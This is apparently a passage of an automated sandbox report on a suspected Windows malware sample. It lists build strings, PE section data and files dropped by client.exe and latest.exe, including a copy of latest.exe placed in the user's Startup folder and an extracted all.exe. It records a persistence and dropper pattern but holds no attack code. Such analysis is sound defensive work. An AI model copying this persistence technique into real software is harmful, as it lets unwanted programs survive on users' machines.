Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG"OpenSSL 3.0.15 3 Sep 20243.0.15built on: Wed Sep 4 15:52:04 2024 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availableget_and_lock..\s\crypto\ex_data.cossl_crypto_get_ex_new_index_exossl_crypto_new_ex_data_exCRYPTO_dup_ex_dataCRYPTO_set_ex_dataOPENSSL_WIN32_UTF8..\s\crypto\getenv.ccompiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG";CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specificC:\Program Files\Common Files\SSLC:\Program Files\OpenSSL\lib\ossl-modules.dllCPUINFO: ..\s\crypto\init.cOPENSSL_init_cryptoOPENSSL_atexit..\s\crypto\initthread.c..\s\crypto\mem_sec.cassertion failed: (bit & 1) == 0assertion failed: list >= 0 && list < sh.freelist_sizeassertion failed: ((ptr - sh.arena) & ((sh.arena_size >> list) - 1)) == 0assertion failed: bit > 0 && bit < sh.bittable_sizeassertion failed: TESTBIT(table, bit)assertion failed: !TESTBIT(table, bit)assertion failed: WITHIN_FREELIST(list)assertion failed: WITHIN_ARENA(ptr)assertion failed: temp->next == NULL \|\| WITHIN_ARENA(temp->next)assertion failed: (char *)temp->next->p_next == listassertion failed: WITHIN_FREELIST(temp2->p_next) \|\| WITHIN_ARENA(temp2->p_next)assertion failed: size > 0assertion failed: (size & (size - 1)) == 0assertion failed: (minsize & (minsize - 1)) == 0assertion failed: sh.freelist != NULLassertion failed: sh.bittable != NULLassertion failed: sh.bitmalloc != NULLassertion failed: !sh_testbit(temp, slist, sh.bitmalloc)assertion failed: temp != sh.freelist[slist]assertion failed: sh.freelist[slist] == tempassertion failed: temp-(sh.arena_size >> slist) == sh_find_my_buddy(temp, slist)assertion failed: sh_testbit(chunk, list, sh.bittable)assertion failed: WITHIN_ARENA(chunk)assertion failed: sh_testbit(ptr, list, sh.bittable)assertion failed: ptr == sh_find_my_buddy(buddy, list)assertion failed: ptr != NULLassertion failed: !sh_testbit(ptr, list, sh.bitmalloc)assertion failed: sh.freelist[list] == ptr/0123456789ABCDEFCRYPTO_memdup..\s\crypto\o_str.chexstr2buf_sepossl_hexstr2buf_sepbuf2hexstr_sepossl_buf2hexstr_sep..\s\crypto\packet.cwpacket_intern_init_lenWPACKET_start_sub_packet_len__..\s\crypto\param_build.cparam_pushparam_push_numOSSL_PARAM_BLD_push_BN_padNegative big numbers are unsupported for OSSL_PARAMOSSL_PARAM_BLD_push_utf8_stringOSSL_PARAM_BLD_push_utf8_ptrOSSL_PARAM_BLD_push_octet_stringOSSL_PARAM_BLD_p
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: client.exe, 00000000.00000003.1676240467.00000213EE396000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: bcrypt_rust.pdbD source: client.exe, 00000000.00000003.1676240467.00000213EE396000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG" source: client.exe, 00000000.00000003.1676240467.00000213ED9C6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: client.exe, 00000000.00000003.1676240467.00000213EE396000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb source: client.exe, 00000000.00000003.1676240467.00000213EDA5E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG" source: client.exe, 00000000.00000003.1676240467.00000213EE396000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdb source: client.exe, 00000000.00000003.1676240467.00000213EE396000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: k1k2k3X9_62_PENTANOMIALp.otherp.onBasisp.tpBasisp.ppBasismX9_62_CHARACTERISTIC_TWOp.primep.char_twofieldTypeX9_62_FIELDIDX9_62_CURVEfieldIDcurvebaseECPARAMETERSvalue.named_curvevalue.parametersvalue.implicitlyCAECPKPARAMETERSprivateKeyparameterspublicKeyEC_PRIVATEKEYec_asn1_group2fieldidcrypto\ec\ec_asn1.cec_asn1_group2curveEC_GROUP_get_ecparametersEC_GROUP_get_ecpkparametersEC_GROUP_new_from_ecparametersEC_GROUP_new_from_ecpkparametersi2d_ECPKParametersd2i_ECPrivateKeyi2d_ECPrivateKeyi2d_ECParametersd2i_ECParameterso2i_ECPublicKeyi2o_ECPublicKeycompiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG"3.3.2built on: Tue Sep 3 19:22:24 2024 UTCplatform: VC-WIN64AOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availablecrypto\init.cOPENSSL_init_cryptocrypto\bio\bio_lib.cBIO_new_exbio_read_internbio_write_internBIO_sendmmsgBIO_recvmmsgBIO_putsBIO_getsBIO_get_line BIO_ctrlBIO_callback_ctrlBIO_find_type source: client.exe, 00000000.00000003.1676240467.00000213EE396000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: client.exe, 00000000.00000003.1676240467.00000213EE266000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_decimal.pdb$$ source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\opencv-python\opencv-python\_skbuild\win-amd64-3.9\cmake-build\lib\python3\Release\cv2.pdb source: latest.exe, 0000000B.00000003.2746059983.000001FD55221000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: bcrypt_rust.pdb source: client.exe, 00000000.00000003.1676240467.00000213EE396000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: cryptography_rust.pdb source: client.exe, 00000000.00000003.1676240467.00000213EE396000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python3.pdb source: client.exe, 00000000.00000003.1676240467.00000213EDB97000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdbGCTL source: client.exe, 00000000.00000003.1676240467.00000213EE396000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdb source: client.exe, 00000000.00000003.1676240467.00000213EDB97000.00000004.00000020.00020000.00000000.sdmp

Source: client.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: client.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: client.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: client.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: client.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: vcruntime140_1.dll.0.dr

Static PE information: 0xFB76EAA0 [Mon Sep 10 13:35:28 2103 UTC]

Source: client.exe	Static PE information: section name: _RDATA
Source: libcrypto-3.dll.0.dr	Static PE information: section name: .00cfg
Source: libssl-3.dll.0.dr	Static PE information: section name: .00cfg
Source: python312.dll.0.dr	Static PE information: section name: PyRuntim
Source: vcruntime140.dll.0.dr	Static PE information: section name: fothk
Source: vcruntime140.dll.0.dr	Static PE information: section name: _RDATA
Source: client.exe.0.dr	Static PE information: section name: _RDATA
Source: latest.exe.3.dr	Static PE information: section name: _RDATA
Source: latest.exe0.3.dr	Static PE information: section name: _RDATA
Source: latest.exe1.3.dr	Static PE information: section name: _RDATA
Source: libscipy_openblas64_-c16e4918366c6bc1f1cd71e28ca36fc0.dll.11.dr	Static PE information: section name: .xdata
Source: all.exe.11.dr	Static PE information: section name: _RDATA
Source: libcrypto-3.dll.11.dr	Static PE information: section name: .00cfg
Source: libssl-3.dll.11.dr	Static PE information: section name: .00cfg
Source: python312.dll.11.dr	Static PE information: section name: PyRuntim
Source: vcruntime140.dll.11.dr	Static PE information: section name: fothk
Source: vcruntime140.dll.11.dr	Static PE information: section name: _RDATA
Source: msvcp140-23ebcc0b37c8e3d074511f362feac48b.dll.11.dr	Static PE information: section name: .didat
Source: opencv_videoio_ffmpeg4100_64.dll.11.dr	Static PE information: section name: .rodata
Source: opencv_videoio_ffmpeg4100_64.dll.11.dr	Static PE information: section name: .xdata
Source: cv2.pyd.11.dr	Static PE information: section name: IPPCODE
Source: cv2.pyd.11.dr	Static PE information: section name: IPPDATA
Source: cv2.pyd.11.dr	Static PE information: section name: _RDATA
Source: libcrypto-3.dll.12.dr	Static PE information: section name: .00cfg
Source: libssl-3.dll.12.dr	Static PE information: section name: .00cfg
Source: python312.dll.12.dr	Static PE information: section name: PyRuntim
Source: vcruntime140.dll.12.dr	Static PE information: section name: fothk
Source: vcruntime140.dll.12.dr	Static PE information: section name: _RDATA
Source: opencv_videoio_ffmpeg4100_64.dll.12.dr	Static PE information: section name: .rodata
Source: opencv_videoio_ffmpeg4100_64.dll.12.dr	Static PE information: section name: .xdata
Source: libscipy_openblas64_-c16e4918366c6bc1f1cd71e28ca36fc0.dll.12.dr	Static PE information: section name: .xdata
Source: msvcp140-23ebcc0b37c8e3d074511f362feac48b.dll.12.dr	Static PE information: section name: .didat

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy\random\_mt19937.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\pythoncom312.dll	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\numpy.libs\msvcp140-23ebcc0b37c8e3d074511f362feac48b.dll	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\python312.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\lxml\builder.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\libcrypto-3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_elementtree.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy\random\bit_generator.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\numpy\random\bit_generator.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\charset_normalizer\md__mypyc.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_uuid.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\python3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_brotli.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\numpy\random\_mt19937.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_queue.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy\random\_pcg64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\libssl-3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\python312.dll	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\cv2\cv2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\psutil\_psutil_windows.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\libssl-3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\numpy\random\_common.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\numpy\_core\_multiarray_umath.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_wmi.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\lxml\etree.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\PIL\_imaging.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\vcruntime140_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_brotli.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_cffi_backend.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\charset_normalizer\md.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\yaml\_yaml.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy\random\_philox.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\PIL\_imagingcms.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy\random\_sfc64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\lxml\sax.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\numpy\random\_philox.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\numpy\random\_pcg64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\zstandard\_cffi.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\python3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\zstandard\_cffi.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy\random\_common.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy\_core\_multiarray_umath.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\lxml\_elementpath.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\win32process.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\cv2\cv2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy.libs\libscipy_openblas64_-c16e4918366c6bc1f1cd71e28ca36fc0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy\random\mtrand.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\bcrypt\_bcrypt.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\numpy\random\mtrand.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\PIL\_imaging.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\win32gui.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\lxml\sax.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\libcrypto-3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	File created: C:\Users\user\AppData\Local\Programs\Startup\latest.exe	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\bcrypt\_bcrypt.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy\_core\_multiarray_tests.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\pywintypes312.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	File created: C:\Users\user\Desktop\latest.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_uuid.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\libcrypto-3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\numpy\random\_bounded_integers.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\numpy\fft\_pocketfft_umath.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\win32process.pyd	Jump to dropped file
